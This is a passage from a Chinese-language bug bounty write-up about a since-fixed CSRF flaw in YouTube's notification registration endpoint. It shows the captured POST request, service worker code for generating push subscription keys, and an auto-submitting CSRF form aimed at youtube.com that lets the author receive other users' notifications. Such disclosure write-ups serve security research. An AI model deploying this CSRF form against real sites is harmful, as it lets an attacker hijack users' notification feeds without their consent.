内容简介:某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中
大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享。
从POST请求中发现端倪
某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:
POST /notifications_ajax?action_register_device=1 HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.youtube.com/sw.js Content-Type: multipart/form-data; boundary=---------------------------41184676334 Origin: https://www.youtube.com Content-Length: 1459 Connection: close Cookie: duh, cookies! -----------------------------41184676334 Content-Disposition: form-data; name="endpoint" https://updates.push.services.mozilla.com/wpush/v1/gAAA... -----------------------------41184676334 Content-Disposition: form-data; name="device_id" dbe8453d99714c6160994fdf5bb3c59332df04278a... -----------------------------41184676334 Content-Disposition: form-data; name="p256dh_key" BBNVkVOt6tpY1KvJJqtLvqt... -----------------------------41184676334 Content-Disposition: form-data; name="auth_key" V5-_lh6nYT2zoY... -----------------------------41184676334 Content-Disposition: form-data; name="permission" granted -----------------------------41184676334--
乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中 updates.push.services.mozilla.com 的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
分析 Service Worker 服务工作线程
深入分析可知,上述POST请求中的referrer字段值为“ https://www.youtube.com/sw.js ”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
构造CSRF攻击框架
到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
index.html:
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="index.css" /> <script src="index.js"></script> </head> <body> <h1>Hello World</h1> <button id="permission-btn" onclick="main()">Ask Permission</button> </body> </html> index.js: const check = () => { if (!('serviceWorker' in navigator)) { throw new Error('No Service Worker support!') } if (!('PushManager' in window)) { throw new Error('No Push API Support!') } } const registerServiceWorker = async () => { const swRegistration = await navigator.serviceWorker.register('sw.js') return swRegistration } const requestNotificationPermission = async () => { const permission = await window.Notification.requestPermission() if (permission !== 'granted') { throw new Error('Permission not granted for Notification') } } const main = async () => { check() const swRegistration = await registerServiceWorker() const permission = await requestNotificationPermission() }
sw.js:
self.addEventListener('activate', async () => { console.log("Hello"); self.registration.pushManager.subscribe() .then(function(subscription) { console.log(JSON.stringify(subscription)); }) .catch(function(e) { console.log(e); }); }) self.addEventListener("push", function(event) { if (event.data) { console.log("Push event!! ", event.data.text()); showLocalNotification("Yolo", event.data.text(), self.registration); } else { console.log("Push event but no data"); } }); const showLocalNotification = (title, body, swRegistration) => { const options = { body // here you can add more properties like icon, image, vibrate, etc. }; swRegistration.showNotification(title, options); };
这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考: developer.mozilla.org 和 developers.google.com 中的详细介绍说明。
综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf"> <input type="text" name="device_id" value="replace"> <input type="text" name="permission" value="granted"> <input type="text" name="endpoint" value="replace"> <input type="text" name="p256dh_key" value="replace="> <input type="text" name="auth_key" value="replace"> <input type="submit"> <script type="text/javascript">document.csrf.submit();</script> </form> </html>
让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:
漏洞上报后,谷歌在半小时之后就给了我回复,称漏洞有效,会尽快走完验证修复流程,并会及时给我后续通知。半个多月后,谷歌回复称修复工作已经完成,漏洞按其VRP项目核定,达到$3133.70美金的奖励。
以上所述就是小编给大家介绍的《挖洞经验 | 利用CSRF漏洞劫持Youtube用户的通知消息》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 挖洞经验 | 篡改密码重置的加密参数实现账号劫持
- 挖洞经验 | 绕过Facebook CSRF防护机制实现账户劫持
- 挖洞经验 | 看我如何发现星巴克(Starbucks)子域名劫持漏洞
- 挖洞经验 | 密码重置Token可预测性导致的账号劫持漏洞
- 挖洞经验 | 通过密码重置功能构造HTTP Leak实现任意账户劫持
- 挖洞经验 | 从XSS漏洞到四步CSRF利用实现账户劫持
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
PHP实战
Dagfinn Reiersol、Marcus Baker、Chris Shiflett / 张颖 等、段大为 审校 / 人民邮电出版社 / 2010-01 / 69.00元
“对于那些想要在PHP方面更进一步的开发者而言,此书必不可少。” ——Gabriel Malkas, Developpez.com “简而言之,这是我所读过的关于面向对象编程和PHP最好的图书。……强烈推荐此书,绝不要错过!” ——Amazon评论 “此书是理论与实践的完美融合,到目前为止,其他任何图书都无法与它相媲美。如果5颗星是满分,它完全值得10颗星!” ——A......一起来看看 《PHP实战》 这本书的介绍吧!